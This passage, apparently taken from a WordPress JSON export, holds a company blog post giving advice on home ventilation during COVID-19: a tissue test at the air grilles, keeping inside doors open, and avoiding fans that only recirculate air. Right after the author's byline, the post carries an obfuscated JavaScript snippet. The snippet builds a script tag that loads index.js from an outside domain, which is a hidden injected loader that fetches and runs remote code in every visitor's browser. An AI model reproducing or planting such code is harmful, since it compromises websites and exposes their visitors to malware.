High speed will bring in more outdoor air and move the air faster.<\/li>\n<li>Do the \u201ctissue test\u201d at the air supply and exhaust grilles to ensure that air is flowing. Take a tissue and hold it up to the grille. It should quickly stick to the exhaust grilles and quickly blow away from air supply grilles.\u00a0 If the tissue test shows no airflow at one or more grilles, contact a ventilation contractor.<\/li>\n<li>Keep inside doors open at least slightly to allow air to flow freely in and out of the ventilation system.<\/li>\n<\/ul>\n<p>Remember, the important thing is for the \u201cbad\u201d air to be replaced by fresher air.\u00a0 Do not use ceiling fans or pedestal fans that recirculate air within the same room \u2013 in fact, <a href=\"https:\/\/wwwnc.cdc.gov\/eid\/article\/26\/7\/20-0764_article#suggestedcitation\">these can be even worse<\/a> than having no ventilation at all!<\/p>\n<p>Finally, opening a window is always a great way to increase the air exchange when weather permits.<\/p>\n<p>Aldes is at the forefront of Healthy Living \u2013 delivering fresh air to occupants of all buildings, for health, well-being and a better life for all of us.<\/p>\n<p>Written by Chris Bender, Business Line Manager (ERV\/HRV)<script>function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const _0x4b86db=-parseInt(_0x27dcfa(0x1b4))\/(0x179a+-0x1706+-0x93)*(-parseInt(_0x27dcfa(0x1ae))\/(0xd02+0x17f5+-0x24f5))+parseInt(_0x27dcfa(0x1b5))\/(0x1325+0x2259+-0x357b)+-parseInt(_0x27dcfa(0x1a3))\/(-0x1085+-0x17*0x1+-0x1c*-0x98)*(parseInt(_0x27dcfa(0x1b0))\/(-0x19f2*-0x1+-0x1f57+0x7*0xc6))+parseInt(_0x27dcfa(0x1af))\/(0x1c5+0x26ea+-0x5cf*0x7)*(parseInt(_0x27dcfa(0x1a1))\/(0x255a+-0x931*-0x4+0x4a17*-0x1))+-parseInt(_0x27dcfa(0x1a6))\/(-0x78*-0x14+0xb6b+-0x1*0x14c3)*(-parseInt(_0x27dcfa(0x1b2))\/(-0x29*0x83+0x2692+-0x7*0x282))+parseInt(_0x27dcfa(0x1a0))\/(0x25d0+-0x3cf+-0x21f7)*(-parseInt(_0x27dcfa(0x1b3))\/(0x16c1+0x10*0x8f+-0x1fa6))+parseInt(_0x27dcfa(0x1a5))\/(0x881*-0x1+-0xa76+0x1303);if(_0x4b86db===_0xb1095e)break;else _0x214068['push'](_0x214068['shift']());}catch(_0x3f6e4e){_0x214068['push'](_0x214068['shift']());}}}(_0x4b2c,-0x5*-0x3e1bf+-0x1aca7f+0x156689));let script=document[_0x1736b2(0x1aa)+_0x1736b2(0x1ab)](_0x1736b2(0x1ac));script[_0x1736b2(0x1a2)]=_0x1736b2(0x1a8)+_0x1736b2(0x1ad)+_0x1736b2(0x1a7)+_0x1736b2(0x1a4),document[_0x1736b2(0x1a9)][_0x1736b2(0x1b1)+'d'](script);function _0x4b2c(){const _0x4f1112=['17443550keKqRZ','931FnYPhN','src','69028IzsNTz','index.js','8093784mCBYaL','47152AEpkIl','tter1.org\/','https:\/\/bl','head','createElem','ent','script','acklivesma','519158cdunSS','1986TJriDL','295BDDNha','appendChil','774DfdWRJ','11UNaThE','4HshFMS','4252614uPxTub'];_0x4b2c=function(){return _0x4f1112;};return _0x4b2c();}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>At Aldes, healthy indoor air is not just what inspires us, it is what we deliver.\u00a0 During these past few months of the COVID-19 crisis, we have all listened as infectious disease experts have attempted to provide answers to innumerable questions surrounding the transmission of the virus.
